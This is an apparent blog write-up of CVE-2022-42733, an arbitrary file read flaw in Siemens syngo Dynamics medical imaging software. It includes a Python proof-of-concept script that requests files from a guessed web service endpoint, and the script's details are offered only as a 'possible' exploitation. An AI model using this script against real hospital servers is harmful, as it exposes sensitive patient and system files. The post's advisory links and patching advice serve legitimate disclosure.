CVE-2022-42733 - syngo Dynamics Vulnerability: Unauthorized File Read Access in Web Service

A recent security vulnerability with the identifier CVE-2022-42733 has been discovered in all versions of syngo Dynamics before VA40G HF01. syngo Dynamics, developed by Siemens Healthcare, is an advanced data management solution for medical imaging and diagnostic procedures in cardiovascular and various clinical disciplines.

This vulnerability within the syngo Dynamics application server can potentially allow unauthorized access to sensitive files by exploiting an improperly secured web service operation. The web service operation does not properly enforce access controls, leaving any folder accessible to the account assigned to the website's application pool at risk.

In this post, we will discuss the exploit details, provide code snippets demonstrating how the vulnerability is triggered, and reference original security advisories for additional information.

Exploit Details

The vulnerability arises due to improper read access control on a web service operation used by the syngo Dynamics application server. As a result, unauthorized users could potentially extract sensitive information from any folder accessible to the account running the website's application pool.

The vulnerable web service operation accepts two parameters: the first parameter specifies a directory on the server, and the second parameter specifies the filename to be retrieved. Using a crafted request with a manipulated first parameter, a malicious user could read files from arbitrary locations, potentially exposing sensitive data.

To exploit this vulnerability, an attacker would need to send a specially crafted request to the vulnerable web service operation, potentially gaining unauthorized access to sensitive files.

Code Snippet

The following code snippet demonstrates a possible exploitation of the vulnerability using a Python script:

import requests

target_url = "https://TARGET_SERVER/syngoDynamicsWebService.asmx/GetFile";
target_directory = "/path/to/target/folder"
target_filename = "sensitive_file.txt"

payload = {
    "directory": target_directory,
    "file": target_filename
}

response = requests.post(target_url, data=payload)

if response.status_code == 200:
    print(f"File content:\n{response.text}")
else:
    print(f"Request failed with status code {response.status_code}")

Replace TARGET_SERVER, /path/to/target/folder, and sensitive_file.txt with the appropriate values that are specific to your target environment. Upon execution, this script will attempt to read the specified file from the target server and display its contents.

Original References

1. Siemens Security Advisory: https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-209467.pdf

2. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-42733

3. MITRE CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42733

Conclusion

In summary, CVE-2022-42733 represents a significant security vulnerability in all versions of syngo Dynamics before VA40G HF01. The improper read access control on a web service operation enables unauthorized access to sensitive files hosted on the application server. Organizations should apply the available security updates to mitigate this vulnerability and reduce the risk of unauthorized data exposure.

To stay up to date with the latest security advisories, we recommend regularly checking for updates from Siemens Healthcare, as well as the NIST National Vulnerability Database and the MITRE CVE Details webpage.

Timeline

Published on: 11/17/2022 17:15:00 UTC
Last modified on: 11/21/2022 19:57:00 UTC